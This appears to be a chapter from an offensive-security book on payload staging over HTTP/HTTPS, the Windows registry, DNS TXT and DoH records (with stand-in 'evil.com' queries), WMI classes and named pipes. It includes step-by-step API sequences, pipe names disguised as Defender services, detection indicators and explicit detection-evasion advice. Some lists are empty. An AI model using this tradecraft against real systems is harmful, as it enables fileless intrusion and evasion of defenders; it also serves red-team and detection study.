The previous chapter explored how to disguise payloads through obfuscation—transforming shellcode into innocent-looking data formats. But even perfectly obfuscated payloads present a problem: they must exist somewhere. Whether embedded in an executable, stored in a document, or delivered through an exploit, the full payload creates a static artifact that security products can eventually analyze and signature. Payload staging solves this by separating the initial access mechanism from the actual payload, delivering the minimal code needed to retrieve and execute the real capability from an external source.
This architectural approach offers profound advantages. The initial stager can be tiny—sometimes just a few dozen bytes—reducing the attack surface for static analysis. The actual payload never touches disk, existing only in memory. Different payloads can be delivered to different targets using the same stager. And if the payload is detected, a new version can be deployed without modifying the initial access vector.
The staging concept divides payload delivery into two phases: a small, simple stager that establishes initial execution, and a larger, more capable staged payload that the stager retrieves and executes.
PAYLOAD STAGING ARCHITECTURE
Phase 1: Initial Execution
┌─────────────────────────────────────────────────────────────────────┐
│ STAGER │
│ ┌─────────────────────────────────────────────────────────────────┐│
│ │ Characteristics: ││
│ │ • Small size (typically < 1KB) ││
│ │ • Minimal functionality ││
│ │ • Simple code (few API calls) ││
│ │ • Single purpose: retrieve and execute stage 2 ││
│ │ ││
│ │ Primary Task: ││
│ │ 1. Connect to staging server or read from staging location ││
│ │ 2. Download/retrieve the staged payload ││
│ │ 3. Allocate executable memory ││
│ │ 4. Transfer execution to staged payload ││
│ └─────────────────────────────────────────────────────────────────┘│
└─────────────────────────────────────────────────────────────────────┘
│
│ Retrieves
▼
Phase 2: Capability Delivery
┌─────────────────────────────────────────────────────────────────────┐
│ STAGED PAYLOAD │
│ ┌─────────────────────────────────────────────────────────────────┐│
│ │ Characteristics: ││
│ │ • Any size (not constrained by initial vector) ││
│ │ • Full functionality ││
│ │ • Complex capabilities ││
│ │ • Never written to disk ││
│ │ ││
│ │ Can Be: ││
│ │ • Shellcode (position-independent code) ││
│ │ • Full PE executable (loaded reflectively) ││
│ │ • DLL (reflective DLL injection) ││
│ │ • .NET assembly (loaded via CLR) ││
│ └─────────────────────────────────────────────────────────────────┘│
└─────────────────────────────────────────────────────────────────────┘
Both approaches have their place, and the choice depends on operational requirements:
STAGING COMPARISON
Staged Approach:
┌─────────────────────────────────────────────────────────────────────┐
│ Advantages: │
│ ├── Minimal initial footprint (harder to detect/analyze) │
│ ├── Payload flexibility (deliver different payloads as needed) │
│ ├── Payload never on disk (memory-only execution) │
│ ├── Easier payload updates (just change what server delivers) │
│ └── Reduces exploit size constraints │
│ │
│ Disadvantages: │
│ ├── Requires network connectivity │
│ ├── Single point of failure (staging server must be available) │
│ ├── Network traffic may be detected │
│ └── Additional complexity and latency │
└─────────────────────────────────────────────────────────────────────┘
Stageless Approach:
┌─────────────────────────────────────────────────────────────────────┐
│ Advantages: │
│ ├── Self-contained (no external dependencies) │
│ ├── Works in air-gapped environments │
│ ├── Immediate execution (no network latency) │
│ ├── Simpler architecture (fewer failure modes) │
│ └── No network indicators during initial execution │
│ │
│ Disadvantages: │
│ ├── Larger initial size (full payload embedded) │
│ ├── Static payload (can't adapt to target) │
│ ├── Full payload recoverable from disk │
│ └── Harder to update deployed payloads │
└─────────────────────────────────────────────────────────────────────┘
The decision often comes down to network access. If reliable network connectivity exists, staging provides significant operational advantages. For restricted or air-gapped environments, stageless payloads are necessary.
The most common staging channel is HTTP/HTTPS. It's ubiquitous—almost every network allows outbound HTTP traffic—and HTTPS provides encryption that prevents inspection of the payload content.
The stager makes an HTTP(S) request to retrieve the payload, then executes it:
HTTP STAGING FLOW
Target Host Staging Server
┌────────────┐ ┌────────────────┐
│ │ │ │
│ Stager │ ───── HTTPS GET ──────▶ │ Web Server │
│ executes │ /payload │ │
│ │ │ │
│ │ ◀──── Response ──────── │ Encrypted │
│ Receives │ (encrypted │ Payload │
│ payload │ shellcode) │ │
│ │ │ │
│ Decrypts │ │ │
│ + Execute │ │ │
│ │ │ │
└────────────┘ └────────────────┘
Process on Target:
1. InternetOpen() - Initialize WinInet
2. InternetOpenUrl() - Connect to staging server
3. InternetReadFile() - Download payload into memory
4. Optional: Decrypt payload
5. VirtualProtect(PAGE_EXECUTE_READ) - Make memory executable
6. Call into payload address
Windows provides two primary APIs for HTTP communication: WinInet and WinHTTP. Each has different characteristics:
WinInet (wininet.dll):
WinHTTP (winhttp.dll):
HTTP stagers can be remarkably small. The essential operations are:
In optimized shellcode, this can be accomplished in 200-400 bytes, making HTTP staging viable even in heavily constrained exploit scenarios.
When staging over HTTPS, certificate validation can be an issue if the staging server uses a self-signed certificate. Options include:
Certificate Handling Options:
1. Use Valid Certificate
└── Proper cert from Let's Encrypt or commercial CA
└── Best OpSec - looks like legitimate traffic
2. Ignore Certificate Errors
└── SECURITY_FLAG_IGNORE_ALL_CERT_ERRORS flag
└── Allows any certificate
└── May be flagged by security products
3. Domain Fronting (if available)
└── Use CDN's valid certificate
└── Actual traffic goes to staging server
└── Increasingly blocked by CDN providers
4. Certificate Pinning
└── Embed expected cert hash in stager
└── Verify server cert matches
└── Adds size but improves security
The Windows Registry provides an interesting staging mechanism. Rather than retrieving the payload from a network location, it can be read from a registry value where it was previously stored. This enables "fileless" persistence where the payload exists only in the registry and memory.
Registry staging offers several advantages:
REGISTRY STAGING BENEFITS
Persistence:
┌─────────────────────────────────────────────────────────────────────┐
│ Registry survives reboots → Payload persists without files │
│ Combine with Run key or scheduled task for execution │
└─────────────────────────────────────────────────────────────────────┘
Evasion:
┌─────────────────────────────────────────────────────────────────────┐
│ No file on disk → Evades file-based scanners │
│ Binary data in registry is common → Blends with normal data │
│ Less forensic artifact → Harder to discover than files │
└─────────────────────────────────────────────────────────────────────┘
Size:
┌─────────────────────────────────────────────────────────────────────┐
│ REG_BINARY values can be large (~1MB practical limit) │
│ Sufficient for most shellcode payloads │
│ Multiple values can store larger payloads │
└─────────────────────────────────────────────────────────────────────┘
Registry staging typically involves two phases:
Phase 1 (Initial Compromise): Write the payload to a registry value. This might happen during initial access or through a separate dropper.
Phase 2 (Execution): A small stager reads the payload from the registry and executes it. The stager can be a scheduled task, Run key entry, or any persistence mechanism.
Registry Staging Flow:
Initial Compromise:
┌───────────────────────────────────────────────────────────────────┐
│ 1. Dropper runs with payload embedded │
│ 2. RegCreateKeyEx() - Create/open registry key │
│ 3. RegSetValueEx(REG_BINARY) - Write payload as binary value │
│ 4. Dropper exits (can self-delete) │
└───────────────────────────────────────────────────────────────────┘
Subsequent Executions (via persistence):
┌───────────────────────────────────────────────────────────────────┐
│ 1. Stager runs (via Run key, scheduled task, etc.) │
│ 2. RegOpenKeyEx() - Open registry key │
│ 3. RegQueryValueEx() - Query value size │
│ 4. VirtualAlloc() - Allocate memory │
│ 5. RegQueryValueEx() - Read binary data │
│ 6. VirtualProtect() - Make executable │
│ 7. Call payload │
└───────────────────────────────────────────────────────────────────┘
Not all registry locations are equally suitable:
| Location | Pros | Cons |
|---|---|---|
| HKCU\Software\Classes | User-writable, large values allowed | Heavily monitored |
| HKCU\Software\Microsoft\Windows\... | Blends with Windows data | Common investigation target |
| HKLM\SOFTWARE\... | System-wide persistence | Requires admin privileges |
| Custom application keys | Less suspicious | May stand out as unusual |
The best locations mimic legitimate Windows or application data. A binary value named "IconCache" or "Settings" in an Explorer subkey appears more natural than "Payload" in a custom key.
Registry values are stored as raw binary, but the stager must handle the data correctly:
Data Storage Options:
Raw Binary (REG_BINARY):
├── Direct shellcode bytes
├── Most efficient (no decoding needed)
└── May be flagged by registry scanners
Base64 Encoded (REG_SZ):
├── Payload encoded as base64 string
├── Requires decoding step
└── Looks like configuration data
Encrypted:
├── XOR, RC4, or AES encrypted
├── Requires decryption key
├── Key can be derived from environment
└── Best for evasion
DNS is one of the most reliable exfiltration and staging channels because DNS traffic is almost universally allowed. Even highly restricted networks typically permit DNS queries, making it an attractive fallback when HTTP is blocked.
DNS TXT records can store arbitrary text data, typically encoded as base64. By splitting a payload across multiple TXT records and querying them sequentially, a stager can reassemble the complete payload:
DNS STAGING ARCHITECTURE
Stager Attacker's DNS Server
┌────────────┐ ┌────────────────────┐
│ │ │ │
│ Query: │ ──── TXT Query ────────▶ │ Zone File: │
│ count. │ count.payload. │ │
│ payload. │ evil.com │ count.payload. │
│ evil.com │ │ evil.com TXT "10" │
│ │ ◀──── Response ───────── │ │
│ Answer: 10 │ "10" │ │
│ │ │ │
│ Query: │ ──── TXT Query ────────▶ │ 0.payload. │
│ 0.payload. │ │ evil.com TXT │
│ evil.com │ │ "QkFTRTY0Li4u" │
│ │ ◀──── Response ───────── │ │
│ Chunk 0 │ │ │
│ │ │ │
│ ... repeat for chunks 1-9 ... │ │
│ │ │ │
│ Reassemble │ │ │
│ + Execute │ │ │
└────────────┘ └────────────────────┘
DNS TXT records have size constraints that affect staging design:
TXT Record Constraints:
Single String: 255 bytes maximum
Multiple Strings: Up to 65535 bytes total (rarely supported)
Practical Limit: ~200 bytes per record (after encoding overhead)
Chunking Strategy:
├── Split payload into ~180 byte chunks
├── Base64 encode each chunk (~240 chars encoded)
├── One TXT record per chunk
├── Sequential queries: 0.domain, 1.domain, 2.domain, ...
└── Metadata record for chunk count
For a 5KB payload:
Why DNS Staging Works:
Ubiquitous Allowance:
├── DNS almost always permitted through firewalls
├── Even restrictive networks allow DNS (port 53)
└── DNS over HTTPS (DoH) provides encryption
Difficult to Block:
├── Blocking DNS breaks most applications
├── TXT records have legitimate uses (SPF, DKIM, etc.)
└── Payload spread across many queries
Stealth Considerations:
├── Each query looks like normal DNS
├── Burst of TXT queries may be suspicious
├── Randomizing query timing helps
└── Using common resolvers provides cover
Modern stagers can use DoH to encrypt DNS queries, preventing network inspection:
DNS-over-HTTPS Flow:
1. Construct JSON query:
{"name": "0.payload.evil.com", "type": "TXT"}
2. HTTPS POST to resolver:
https://cloudflare-dns.com/dns-query
or https://dns.google/resolve
3. Parse JSON response for TXT data
4. Repeat for all chunks
Benefits:
├── Encrypted (HTTPS)
├── Uses standard HTTPS port (443)
├── Traffic to legitimate resolver (cloudflare, google)
└── Harder to distinguish from normal DoH traffic
Windows Management Instrumentation (WMI) provides a lesser-known staging location. WMI allows creating custom classes with arbitrary properties, including binary data. The payload can be stored as a property value and retrieved through WMI queries.
WMI stores data in a repository that persists across reboots. By creating a custom class with a property containing the payload, the data survives without any file on disk:
WMI STORAGE STRUCTURE
WMI Repository (C:\Windows\System32\wbem\Repository\)
└── root\cimv2 namespace
└── Custom Class: "Win32_SystemUtility" (attacker-created)
└── Properties:
├── Name: "ConfigurationData"
│ Type: Array of Bytes
│ Value: [payload bytes...]
│
└── Name: "Version"
Type: String
Value: "1.0.0"
To Store:
├── Connect to WMI
├── Create custom class deriving from base class
├── Add property with payload as byte array
└── Save class to repository
To Retrieve:
├── Connect to WMI
├── Query for custom class
├── Read property value
└── Execute payload from retrieved bytes
WMI staging offers unique advantages:
Persistence: WMI repository survives reboots without additional persistence mechanisms.
Obscurity: Few security tools examine WMI for payload storage. It's a known technique but infrequently monitored.
Capacity: WMI can store arbitrary amounts of data, unlike registry value size limits.
Integration: WMI is deeply integrated into Windows management—WMI queries are common in enterprise environments.
WMI staging is harder to detect than file-based or registry-based approaches:
WMI Detection Challenges:
Limited Visibility:
├── WMI repository is a binary database (not easily browsable)
├── Custom classes don't appear in standard system tools
└── Requires WMI queries to discover
Forensic Difficulties:
├── WMI repository files are locked during operation
├── Manual parsing is complex
└── Few forensic tools handle WMI well
Legitimate Cover:
├── Many management tools create WMI classes
├── Binary data in WMI is common (for MOF files, etc.)
└── Hard to distinguish malicious from legitimate
Named pipes provide an inter-process communication mechanism that can serve as a staging channel. Unlike network-based staging, named pipes work for local staging between processes or for lateral movement staging within a network.
Named pipes allow bidirectional communication between processes:
NAMED PIPE STAGING
Scenario 1: Local Staging (Parent → Child)
┌─────────────────────────────────────────────────────────────────────┐
│ │
│ Parent Process Child Process │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Create Pipe │ │ Connect to │ │
│ │ (server) │ ◀─ Pipe ───────▶ │ Pipe │ │
│ │ │ │ (client) │ │
│ │ Write │ │ │ │
│ │ Payload │ ────────────────▶│ Read Payload │ │
│ │ │ │ Execute │ │
│ └──────────────┘ └──────────────┘ │
│ │
│ Use case: Dropper injecting into spawned process │
└─────────────────────────────────────────────────────────────────────┘
Scenario 2: Lateral Movement Staging
┌─────────────────────────────────────────────────────────────────────┐
│ │
│ Compromised Host A Target Host B │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Connect to │ │ Pipe Server │ │
│ │ Remote Pipe │ ─── SMB ──────▶ │ (listening) │ │
│ │ │ │ │ │
│ │ Write │ │ Read Payload │ │
│ │ Payload │ ───────────────▶│ Execute │ │
│ └──────────────┘ └──────────────┘ │
│ │
│ Pipe: \\HostB\pipe\chrome_update_service │
│ Use case: Lateral movement after initial compromise │
└─────────────────────────────────────────────────────────────────────┘
Pipe names should blend with legitimate system activity:
Good Pipe Names (blend in):
├── \\.\pipe\chrome_update_service
├── \\.\pipe\MicrosoftSecurityService
├── \\.\pipe\WindowsDefenderService
├── \\.\pipe\spoolss_notify
└── \\.\pipe\eventlog
Poor Pipe Names (stand out):
├── \\.\pipe\payload
├── \\.\pipe\c2
├── \\.\pipe\shell
└── \\.\pipe\beacon
Named pipes can be accessed over SMB (port 445), enabling cross-host staging:
Remote Pipe Access:
Local Pipe: \\.\pipe\pipename
Remote Pipe: \\hostname\pipe\pipename
Requirements:
├── SMB access to target (port 445)
├── Appropriate credentials
├── Pipe exists on remote host
└── Pipe ACL permits access
The staging server process must:
├── Create the pipe with appropriate security descriptor
├── Wait for connection (ConnectNamedPipe)
├── Write payload when client connects
└── Disconnect and optionally loop
Different staging channels suit different scenarios. The choice depends on network constraints, detection concerns, and operational requirements:
STAGING CHANNEL COMPARISON
┌───────────────────────────────────────────────────────────────────────┐
│ Channel │ Size Limit │ Persistence │ Detection │ Network Needed │
├───────────────────────────────────────────────────────────────────────┤
│ HTTP/HTTPS │ Unlimited │ No │ Medium │ Yes (outbound) │
│ Registry │ ~1MB │ Yes │ Medium │ No │
│ DNS TXT │ Unlimited* │ No │ Medium │ Yes (DNS only) │
│ WMI │ Unlimited │ Yes │ Low │ No │
│ Named Pipe │ Unlimited │ No │ Medium │ Local or SMB │
└───────────────────────────────────────────────────────────────────────┘
* DNS TXT requires multiple queries for large payloads
Selection Guidelines:
Network Available + No Proxy Inspection:
└── HTTP/HTTPS staging (fastest, most flexible)
Network Available + Proxy Inspection:
└── DNS staging (bypasses HTTP inspection)
Network Available + DNS Monitoring:
└── DoH staging (encrypted DNS queries)
No Network Access:
└── Registry or WMI staging (requires prior payload placement)
Lateral Movement:
└── Named pipe staging (over SMB)
Maximum Stealth:
└── WMI staging (least commonly monitored)
Understanding how defenders detect staging helps in both improving evasion and building better detection.
Each staging method has characteristic indicators:
HTTP/HTTPS Staging Indicators:
Network:
├── Suspicious user-agent strings
├── Connections to newly registered domains
├── Certificate anomalies (self-signed, mismatched)
├── Large downloads from unusual endpoints
└── Binary content returned for non-binary URLs
Endpoint:
├── WinInet/WinHTTP calls followed by VirtualAlloc(RWX)
├── Downloaded content executed without disk write
└── Network connection from unusual process
Registry Staging Indicators:
├── Large REG_BINARY values (> few KB)
├── Binary data in unusual locations
├── Registry read followed by memory execution
└── New values in common persistence locations
DNS Staging Indicators:
├── Burst of TXT queries to same domain
├── Sequential subdomain queries (0.x, 1.x, 2.x...)
├── High-entropy TXT record content
└── Base64-like patterns in TXT responses
WMI Staging Indicators:
├── Custom WMI class creation
├── Binary data in WMI properties
├── WMI queries followed by memory execution
└── Unusual WMI namespace activity
The most effective detection correlates multiple events:
High-Confidence Detection Patterns:
HTTP Staging:
┌─────────────────────────────────────────────────────────────────────┐
│ InternetReadFile() │
│ ↓ │
│ VirtualAlloc(PAGE_EXECUTE_READWRITE) │
│ ↓ │
│ Memory copy of downloaded content │
│ ↓ │
│ Thread creation or direct call to allocated memory │
│ │
│ = High probability of staged payload execution │
└─────────────────────────────────────────────────────────────────────┘
Registry Staging:
┌─────────────────────────────────────────────────────────────────────┐
│ RegQueryValueEx(REG_BINARY) │
│ ↓ │
│ VirtualAlloc() │
│ ↓ │
│ Memory copy of registry data │
│ ↓ │
│ VirtualProtect(PAGE_EXECUTE) │
│ ↓ │
│ Execution in allocated memory │
│ │
│ = High probability of registry-staged execution │
└─────────────────────────────────────────────────────────────────────┘
To evade detection, staging implementations should:
Blend Network Traffic: Use legitimate-looking user-agents, connect to aged domains with good reputation, and mimic normal application traffic patterns.
Avoid Suspicious API Sequences: Insert benign API calls between staging operations, use alternative allocation methods, or employ callback-based execution.
Encrypt Staged Payloads: Never transfer plaintext payloads—always encrypt in transit and decrypt in memory.
Clean Up Artifacts: If using registry or WMI staging, remove the stored payload after execution.
Vary Timing: Add random delays between DNS queries or HTTP requests to avoid burst patterns.
Payload staging fundamentally changes the attack architecture by separating initial access from capability delivery. This separation provides operational flexibility, reduces static detection surface, and enables dynamic payload deployment.
Key staging concepts:
| Channel | Best Use Case | Key Consideration |
|---|---|---|
| HTTP/HTTPS | General purpose, flexible | SSL inspection may reveal payload |
| Registry | Persistence, fileless | Size limits, monitoring possible |
| DNS TXT | Restrictive networks | Slow, multiple queries needed |
| WMI | Stealth, persistence | Complex implementation |
| Named Pipes | Local/lateral staging | Requires existing access |
Best practices for effective staging:
The next chapter explores process injection—how to execute code in the context of other processes for additional stealth and capability.